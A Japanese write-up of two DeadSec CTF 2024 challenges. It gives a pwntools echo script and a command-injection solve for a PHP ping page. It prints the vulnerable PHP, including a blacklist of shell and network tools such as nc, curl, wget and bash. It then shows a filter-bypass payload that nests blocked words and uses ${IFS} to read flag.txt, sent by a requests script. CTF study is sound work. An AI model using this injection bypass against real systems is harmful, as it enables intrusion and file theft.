はじめに
今回はdeadsec ctf 2024に参加してきたので、解けた問題を解説していきます。
Mic-check
netcat経由でサーバにアクセスすると指定された文字列を入力しろと言われます。
そうすると、カウントが1増えると同時に文字列の桁も1桁増えました。
これが100になればフラグが取れそうです。
この時は疲れていたので変数名がでたらめです。
特に関数名はひどいです。
from pwn import *
def recv_shit(max_buf_size):
buf = io.recv(max_buf_size).decode("utf-8").replace("\n", "")
start_idx = buf.find(">") + 3
end_idx = buf.find("[") - 1
return buf[start_idx:end_idx]
if __name__ == "__main__":
io = remote("34.134.200.24", 32200)
max_buf_size = 1024
buf = ""
for i in range(100):
buf = recv_shit(max_buf_size)
print(buf)
io.sendline(buf.encode("utf-8"))
print(io.recv(max_buf_size).decode("utf-8"))
io.close()
コードを実行して、無事フラグが取れました。
Bing2
ソースコードが配布されていたので、まずはそれを見ることにしました。
Dockerfileを見たところ、ルートディレクトリにflag.txtがあるようです。
<?php
if (isset($_POST['Submit'])) {
$target = trim($_REQUEST['ip']);
$substitutions = array(
' ' => '',
'&' => '',
'&&' => '',
'(' => '',
')' => '',
'-' => '',
'`' => '',
'|' => '',
'||' => '',
// '; 'は置き換えられるが';'なら置き換えられないのでは
'; ' => '',
'%' => '',
'~' => '',
'<' => '',
'>' => '',
'/ ' => '',
'\\' => '',
// 'l lss'とすると空白とlsという文字が取り除かれ、最終的にlsになる
// どうやら置き換え回数は有限だと推測する
// 'l lss'の場合だと、最終的にlsという文字列になるが、それは空白に置き換えられていないからだ
'ls' => '',
'cat' => '',
'less' => '',
'tail' => '',
'more' => '',
'whoami' => '',
'pwd' => '',
'busybox' => '',
'nc' => '',
'exec' => '',
'sh' => '',
'bash' => '',
'php' => '',
'perl' => '',
'python' => '',
'ruby' => '',
'java' => '',
'javac' => '',
'gcc' => '',
'g++' => '',
'make' => '',
'cmake' => '',
'nmap' => '',
'wget' => '',
'curl' => '',
'scp' => '',
'ssh' => '',
'ftp' => '',
'telnet' => '',
'dig' => '',
'nslookup' => '',
'iptables' => '',
'chmod' => '',
'chown' => '',
'chgrp' => '',
'kill' => '',
'killall' => '',
'service' => '',
'systemctl' => '',
'sudo' => '',
'su' => '',
'flag' => '',
);
$target = str_replace(array_keys($substitutions), $substitutions, $target);
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec('ping ' . $target);
} else {
$cmd = shell_exec('ping -c 4 ' . (string)$target);
echo $cmd;
}
}
bing.phpを見ると、どうやら任意のホストに対してpingリクエストを送るWebサイトのようです。
ホスト名は$target変数に格納されますが、str_replace関数によりサニタイズされています。
ですが、この関数には同じサニタイズ対象の文字列に対する置き換え回数に制限があります。
例えば、1つの部分文字列をサニタイズした結果、それと同じ文字列が出来上がった場合
その文字列もサニタイズされるとは限りません。
flagという文字列と空白文字がサニタイズ対象の場合は以下の文字列でバイパスすることが可能です。
fla flag g
中央のflagと両隣の空白文字が消されて、最終的にflagという文字列になりますが、flagは先程一回消しているので、もう消されることはありません。
これを利用してflag.txtを読み取ります。
ちなみに最初のpingコマンドからエスケープするためにセミコロンを最初に用いました。
それと今回は空白文字もサニタイズ対象なのですが、これだけは上記の方法でバイパスできなかったので
${IFS}というシェル上で空白文字に相当するものを使用することにしました。
import requests
if __name__ == "__main__":
base_url = "https://83b163e7246229b03a9b484a.deadsec.quest"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
body = {
"Submit": 1
}
# ${IFS}は空白文字
payload = "127.0.0.1;ca sht${IFS}/fl flag ag.txt"
res = requests.post(base_url + f"/bing.php?ip={payload}", headers=headers, data=body)
print(res.text)
これでフラグが読み取れます。
おわりに
今回はmiscやpwnには殆ど手を付けずにwebだけに集中しようと決めて大会に挑みましたが
webは1問しか解けず若干落ち込みました。
それとezstartという問題に関しては、解法が分かっていてローカルで攻撃が成功していたのにも関わらず
実際のサイトに対しては攻撃が通じなかったのが、少しモヤモヤです。
race condition脆弱性を利用するので、サーバ側の処理速度が関係しているのではないかと思っています。